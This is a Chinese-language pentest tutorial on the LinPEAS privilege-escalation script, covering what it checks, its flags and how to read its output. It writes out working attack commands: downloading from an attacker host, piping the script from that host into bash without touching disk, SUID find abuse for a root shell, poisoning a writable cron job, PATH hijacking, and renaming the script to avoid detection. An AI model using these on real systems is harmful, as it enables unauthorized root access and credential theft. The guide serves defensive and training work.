Linux权限提升自动化侦察:LinPEAS脚本核心原理与实战应用 1. 项目概述为什么你需要LinPEAS如果你是一名渗透测试工程师、红队成员或者只是对Linux系统安全感兴趣的安全爱好者那么你一定遇到过这样的场景费尽周折拿到一个低权限的Shell看着那个可怜的$提示符下一步该做什么手动翻找配置文件、检查定时任务、查看SUID文件、分析环境变量……这个过程繁琐、耗时而且极易遗漏关键点。这就是权限提升Privilege Escalation的日常也是从“立足”到“完全控制”的关键一步。LinPEASLinux Privilege Escalation Awesome Script的出现就是为了解决这个痛点。它不是一个单一的工具而是一个功能强大的自动化信息收集脚本专门为Linux本地权限提升而设计。你可以把它想象成一个经验丰富的“侦察兵”它会自动、系统性地扫描目标Linux系统的每一个角落寻找所有可能被利用来提升权限的线索并将结果以清晰、高亮的方式呈现给你。在CTF比赛、渗透测试项目甚至日常的服务器安全自查中LinPEAS都能极大地提升你的效率。它不直接进行攻击而是为你提供一张详尽的“藏宝图”告诉你哪里有“宝藏”漏洞、配置错误、弱权限文件等至于如何挖掘则考验你的经验和技巧。2. LinPEAS核心功能与设计思路拆解LinPEAS的设计哲学是“全面”与“智能”。它不会只检查几个众所周知的点而是覆盖了数十种权限提升的潜在路径。理解它的检查逻辑比单纯运行脚本更重要。2.1 核心检查模块解析LinPEAS的检查是模块化的主要围绕以下几个核心方向展开系统信息与环境侦察这是基础。脚本会首先收集内核版本、发行版、主机名、网络配置、当前用户/组信息、Sudo权限列表等。这些信息能帮你快速判断系统的“年代”和“体质”例如一个非常老的内核版本可能意味着存在未修补的公开漏洞Dirty Pipe, Dirty Cow等。文件与目录权限审计这是权限提升的重灾区。LinPEAS会重点扫描SUID/SGID文件这些文件在执行时会以文件所有者SUID或所属组SGID的权限运行。如果找到一个属主是root且可写的SUID文件或者一个本身存在漏洞的SUID程序如历史版本的nmap、vim、find等就可能直接获取root shell。全局可写文件/目录任何用户都能写入的文件尤其是那些在PATH环境变量中的目录或者计划任务cron脚本所在的目录是绝佳的“投毒”目标。配置文件与凭据搜索它会用正则表达式全局搜索包含password、pass、key、secret等关键词的文件以及常见的配置文件如/etc/shadow的备份、*.pub/id_rsa私钥文件、数据库配置文件等这些往往是通往其他用户或服务的钥匙。进程与服务分析检查正在运行的进程、网络服务特别是监听在本地回环或所有接口上的服务、以及它们的运行权限。一个以root权限运行的、存在漏洞的本地服务例如老版本的MySQL Docker API可能就是突破口。计划任务与系统服务详细枚举所有用户的cron job、systemd timer和service文件。一个全局可写的cron脚本或一个配置错误的service文件ExecStart路径可写是经典的权限提升路径。容器与虚拟化环境检测它会检查当前是否处于Docker容器、LXC或Kubernetes Pod中。在容器内的权限提升思路与物理机/虚拟机不同例如如果容器以--privileged特权模式运行或者挂载了宿主机敏感目录如/、/var/run/docker.sock就可能实现容器逃逸。其他杂项检查包括但不限于检查LD_PRELOAD、LD_LIBRARY_PATH等环境变量的滥用可能检查/etc/sudoers.d/目录下的特殊配置查找具有capabilities能力的特殊二进制文件如/usr/bin/python3.8 cap_setuidep。2.2 智能化与可读性设计LinPEAS不仅仅是“收集”更是“分析”和“呈现”。颜色高亮这是它最直观的特点。输出中红色或根据终端主题的醒目色通常代表“高危”发现强烈建议你优先查看黄色代表“中危”或值得注意的信息白色/绿色则是普通信息。这让你能瞬间聚焦在最有价值的部分。自动化与静默模式你可以通过参数控制其行为。例如-a参数进行所有检查包括一些耗时较长的而-s静默模式则只输出高危发现适合在需要隐蔽的场景下快速评估。持续更新LinPEAS是活跃的开源项目社区不断根据新的CVE漏洞、新的提权技术更新其检查规则。例如当一个新的内核提权漏洞如CVE-2021-4034 pkexec公开后LinPEAS很快会加入对应的检测逻辑。3. 获取、部署与基础使用详解3.1 获取LinPEAS的多种方式在实战中你拿到Shell的环境千差万别因此需要掌握多种上传或下载LinPEAS的方法。本地下载直接上传如果你的攻击机和目标机网络互通例如在同一内网这是最直接的方式。# 在你的攻击机Kali Linux等上 git clone https://github.com/carlospolop/PEASS-ng.git cd PEASS-ng/linPEAS/ # 使用Python简易HTTP服务器 python3 -m http.server 8000 # 或者使用scp如果目标机有ssh客户端且你知道密码/key scp linpeas.sh usertarget_ip:/tmp/在目标机上使用wget或curl下载cd /tmp wget http://your_attack_ip:8000/linpeas.sh # 或者 curl -L http://your_attack_ip:8000/linpeas.sh -o linpeas.sh无外网连接时的“盲传”如果目标机无法访问互联网也没有wget/curl就需要一些技巧。使用ncNetcat在攻击机监听端口将文件发送过去。# 攻击机 nc -lvnp 4444 linpeas.sh # 目标机 nc your_attack_ip 4444 /tmp/linpeas.sh使用base64编码将脚本编码成一行字符串然后在目标机上粘贴解码。适用于有交互式Shell但无法传输文件的情况。# 攻击机 base64 -w0 linpeas.sh # 复制输出的一长串字符串 # 目标机 echo “粘贴那串base64字符串” | base64 -d /tmp/linpeas.sh利用已有服务如果目标机有正在运行的web服务如Apache可以尝试将脚本上传到web目录。注意上传后务必记得赋予执行权限chmod x /tmp/linpeas.sh。同时尽量将脚本放在/tmp或/dev/shm这类所有用户通常都有写权限的临时目录避免因权限问题无法执行。3.2 基础执行与参数解读最基本的执行命令就是./linpeas.sh脚本会自动开始全面扫描输出会非常长需要滚动查看。为了更高效地使用你需要了解几个关键参数-a启用所有检查包括一些可能较慢的检查如全盘搜索特定文件。第一次全面侦察时建议使用。-s静默模式-s或--silent。只输出红色/高危发现忽略信息和低风险提示。在需要快速判断或输出简洁时非常有用。-P指定要搜索的密码/关键词。例如./linpeas.sh -P password\|secret\|api_key可以自定义搜索模式。-o将输出同时保存到文件。例如./linpeas.sh -o report.txt。-r指定报告文件的颜色模式-r html生成带颜色的HTML报告便于离线阅读和分析。一个典型的快速评估命令可能是./linpeas.sh -s -P “passw\|key\|token” -o /tmp/peas_report.txt这条命令会进行静默扫描重点搜索凭据并将结果输出到文件。4. 实战演练解读LinPEAS输出与提权思路转化运行LinPEAS后面对海量输出新手容易不知所措。关键在于学会“抓大放小”优先关注高亮部分。下面我们模拟分析一段典型的输出。4.1 场景一危险的SUID文件假设你在输出中看到如下高亮行[] SUID - Check easy privesc, exploits and write perms [i] https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid ... /usr/bin/find ... root ... SUID /usr/local/bin/custom_app ... root ... SUID/usr/bin/find是经典的具有SUID权限且常被用于提权的程序。如果它的版本较旧可能存在已知漏洞。更常见的是利用其本身的特性# 如果find有SUID权限我们可以利用-exec参数执行命令 /usr/bin/find . -exec /bin/sh -p \; -quit这里的-p参数是为了保留SUID带来的特权。如果执行成功你将获得一个root shell。而/usr/local/bin/custom_app是一个自定义程序这更危险。首先检查它是否可写ls -la /usr/local/bin/custom_app如果它全局可写你可以直接用你的恶意代码覆盖它然后等待root用户或某个以root权限运行的服务来执行它。如果不可写则尝试用strings、ltrace、strace等工具分析这个二进制文件看它是否执行了其他外部命令可能存在命令注入或者是否加载了某个我们可以控制的配置文件或库文件LD_PRELOAD攻击。4.2 场景二被遗忘的Cron Job在计划任务部分你可能会发现[] Cron jobs ... * * * * * root /opt/scripts/backup.sh立即检查这个/opt/scripts/backup.shls -la /opt/scripts/backup.sh如果发现这个脚本是全局可写的那么恭喜你提权几乎完成了。你可以直接编辑这个文件加入你的反向Shell或添加一个SUID Shell的命令echo ‘cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash’ /opt/scripts/backup.sh然后等待最多一分钟因为cron是每分钟运行一次/tmp/rootbash就会被创建并设置SUID位。接着执行/tmp/rootbash -p即可获得root shell。4.3 场景三环境变量滥用与PATH劫持LinPEAS会检查用户的PATH环境变量以及是否存在全局可写的路径。假设你看到[] PATH ... /home/user/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin [] Writables in PATH ... /usr/local/sbin is writable by user ‘www-data‘!这意味着www-data用户可以向/usr/local/sbin目录写入文件。而PATH环境变量中/usr/local/sbin的优先级高于/usr/sbin和/usr/bin。如果系统中有一个以root权限运行的脚本或服务它调用了某个命令比如service或ifconfig但没有使用绝对路径系统就会在PATH中按顺序查找。这时你可以在/usr/local/sbin下创建一个名为service的恶意脚本cat /usr/local/sbin/service ‘EOF‘ #!/bin/bash cp /bin/bash /tmp/rootbash2 chmod s /tmp/rootbash2 EOF chmod x /usr/local/sbin/service然后你需要等待或触发一个root权限的进程去执行service命令。一旦执行你的后门就被植入了。4.4 场景四敏感的配置文件与凭据泄露LinPEAS的凭据搜索功能非常强大。你可能会在输出中发现[] Searching passwords in config PHP files ... /var/www/html/config.php contains: define(‘DB_PASSWORD‘, ‘SuperSecretDBPass123!‘) [] Searching *password* or *credential* files ... /home/developer/.git-credentials contains: https://user:GitHubTokenXYZgithub.com这些发现可能不会直接给你root权限但它们是横向移动和扩大战果的关键。数据库密码可以让你访问可能存储更多用户数据的数据Git凭证可能让你访问包含源代码、配置甚至其他环境密钥的私有仓库。永远不要忽视这些“非直接”的发现。5. 高级技巧与定制化使用当你熟悉了基础用法后可以探索更高级的用法让LinPEAS更贴合你的需求。5.1 结合其他工具进行深度利用LinPEAS提供线索其他工具负责利用。一个高效的流程是快速扫描先运行./linpeas.sh -s快速获取高危线索。针对性验证对发现的SUID文件使用searchsploit或在线漏洞库查找公开漏洞。# 在攻击机上 searchsploit find 4.6手动深入对于可疑的自定义程序或服务使用strace进行动态分析。strace /usr/local/bin/custom_app 21 | grep -i “open\|exec\|access”这可以帮你看到它尝试打开或执行哪些文件从而发现潜在的劫持点。5.2 自定义检查规则LinPEAS的脚本是开源的Bash脚本这意味着你可以根据目标环境定制它。例如如果你在针对一个特定的企业环境你知道他们常用某个特定的中间件如WebLogic你可以修改脚本添加对该中间件默认路径、配置文件和日志的检查。克隆PEASS-ng仓库。找到linpeas.sh中负责文件搜索的部分通常有filestoread变量或类似的数组。添加你关心的路径例如# 在适当的数组里添加 filestoread(/opt/oracle/weblogic/domains/*/config/config.xml)保存并上传你的定制版linpeas到目标。5.3 规避检测与隐蔽执行在高度戒备的环境中直接运行一个从互联网下载的、名为linpeas.sh的脚本可能会触发警报。重命名将脚本改名为一个看起来无害的名字如sysinfo.sh或logcheck.sh。分块执行LinPEAS的某些部分可以独立运行。你可以只提取检查SUID或Cron的代码片段来执行。无文件执行最隐蔽的方式是直接通过管道从网络执行不落盘。curl -s http://your_attack_ip:8000/linpeas.sh | bash # 或者 wget -qO- http://your_attack_ip:8000/linpeas.sh | bash但这种方式如果网络中断脚本也会停止且无法使用-o参数保存报告。6. 常见问题排查与实战心得6.1 脚本无法运行或报错问题bash: ./linpeas.sh: /bin/bash^M: bad interpreter原因脚本是在Windows环境下编辑的行尾是CRLF(\r\n)而Linux需要LF(\n)。解决在目标机上使用dos2unix linpeas.sh命令转换或者用sed -i ‘s/\r$//‘ linpeas.sh删除回车符。问题脚本执行一半被中断或Permission denied。原因目标环境可能设置了资源限制或者对某些目录没有读取权限。解决尝试使用更轻量的参数如-s。或者分部分执行。LinPEAS的代码结构清晰你可以尝试只运行你感兴趣的部分比如只搜索文件部分。6.2 输出中没有红色/高危发现这很常见尤其是在经过良好加固的系统上。不要气馁这并不意味着没有提权路径。深入黄色信息仔细查看所有黄色标记的输出。一个配置“奇怪”非默认但非致命的服务、一个不常见的用户、一个看起来多余的安装软件都可能是突破口。手动复查经典路径LinPEAS虽然全面但不可能100%覆盖所有场景。手动检查以下内容sudo -l仔细查看当前用户能以root身份运行哪些命令并且注意是否不需要密码NOPASSWD。find / -type f -perm -4000 2/dev/null手动查找SUID文件。getcap -r / 2/dev/null查找具有特殊能力的文件。检查/etc/fstab中是否有配置不当的挂载选项如noexec缺失。考虑内核漏洞如果系统内核版本很老去https://www.exploit-db.com/搜索对应版本的本地提权漏洞。LinPEAS通常会在系统信息部分高亮显示已知的有漏洞内核版本。6.3 我的实战心得先快后慢先静后动进入新环境先用-s参数快速扫一遍有个整体印象。如果没有明显收获再运行-a进行全面深度扫描。结合上下文LinPEAS给出的是一条条线索你需要结合你对目标系统的了解这是一个Web服务器数据库服务器开发机来串联线索。例如在Web服务器上就要格外关注Web目录、Web配置文件和服务账户的权限。善用grepLinPEAS的输出很长学会用grep过滤关键信息。例如运行./linpeas.sh | grep -i “writable\|suid\|cron”可以快速定位相关章节。不要完全依赖自动化LinPEAS是强大的助手但不能替代你的思考。它可能会误报将一些正常配置高亮也可能会漏报特别是针对高度定制化的环境。培养手动枚举的能力同样重要。注意行为痕迹LinPEAS的某些检查如全盘搜索会产生大量的磁盘I/O和日志。在需要高度隐蔽的对抗中要权衡侦察的深度与暴露的风险。